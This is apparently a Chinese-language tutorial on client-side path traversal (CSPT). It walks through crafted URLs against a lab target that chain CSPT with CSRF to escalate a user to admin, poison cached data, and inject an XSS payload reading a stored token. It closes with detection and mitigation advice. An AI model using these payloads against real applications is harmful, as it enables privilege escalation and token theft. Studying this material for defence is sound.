CSPT(Client-Side Path Traversal)即客户端路径遍历漏洞,是一种主要在前端被利用的安全问题。该漏洞已存在约一年时间,其独特之处在于能与多种常见漏洞结合产生更大危害。要理解CSPT漏洞的成因,首先需要掌握Restful风格接口的设计特点。
在Web开发中,Restful风格的接口通常呈现为以下形式:
GET /api/user/info/1
Host: xxx.com
或
GET /api/article/123/details
Host: xxx.com
这类接口通过URI特定部分传递参数值,例如末尾数字"1"作为用户ID参数传入后端控制器。
在实际应用中,前端通常会从URL参数中提取值并拼接到Restful接口中。假设访问前端URI:
http://xxx.com/#/articledata?id=1337
对应调用的后端接口为:
GET /api/article/1337/details
Host: xxx.com
当攻击者构造特殊输入时:
http://xxx.com/#/articledata?id=1337/../../anotherEndpoint?
前端未过滤输入直接拼接,可能产生:
GET /api/article/1337/../../anotherEndpoint?/details
Host: xxx.com
Web中间件处理"../"跨目录跳转后,实际请求变为:
GET /api/anotherEndpoint?/details
Host: xxx.com
这使得攻击者能够通过前端参数访问任意后端接口。我们将易受攻击的前端URI称为Source点,目标后端接口称为Sink点。
CSPT与CSRF组合利用(POST型)
通过CSPT靶场演示,当Source点触发POST请求时,可结合CSRF漏洞绕过Referer/Origin校验。例如构造恶意链接:
http://192.168.3.31:3000/vulnerable/note_auto_post_sink/..%2F..%2Fsink%2Fpromote%2Flax_in_extra_param_promote%2F66fc8c17d29c4a98a44a4a87%3F
管理员点击后,通过同源请求直接调用提权接口,成功将用户权限提升为admin。
GET型Source点转为POST利用
当Source点触发GET请求时,可通过两阶段攻击实现POST型利用:
- 控制初始GET请求指向特定接口
- 操纵响应内容影响后续POST请求
利用文件上传点控制响应内容:
{"_id":"..%2F..%2Fsink%2Fpromote%2Flax_in_extra_param_promote%2F66fc8c17d29c4a98a44a4a87%3F"}
构造恶意链接:
http://192.168.3.31:3000/vulnerable/note_auto_get_to_post_sink/..%2F..%2Fgadget%2Ffiles%2F6910997c7cc7bf8790c3fb57%2Fraw
单次点击利用场景
通过污染前端缓存数据实现攻击:
- 上传恶意文件内容:
{"_id":"../../../../api/sink/promote/body_or_query?id=66fc8c17d29c4a98a44a4a87"}
- 诱导管理员访问污染链接后点击界面操作
- 触发PUT型提权接口完成权限提升
CSPT结合XSS攻击
当页面使用SetInnerHTML显示内容时,可通过可控文件实现XSS攻击。文件内容:
{"_id":"66fc8c8b1bcf0dd223467b9f","title":"<img src=1 onerror=\"alert(localStorage.getItem('token'))\" />"}
构造链接:
http://192.168.3.31:3000/vulnerable/note_query_param_xss?id=..%2F..%2F..%2Fapi%2Fgadget%2Ffiles%2F6910bc5b7cc7bf8790c3fc23%2Fraw%3F
检测与防护建议
漏洞发现:
- 识别Restful风格接口
- 定位前端参数直接拼接后端URI的代码模式
防护措施:
- 前端对输入参数进行严格过滤,检测并拦截"../"等危险字符
- 后端增加路径规范化处理
- 关键接口添加CSRF Token验证
参考资源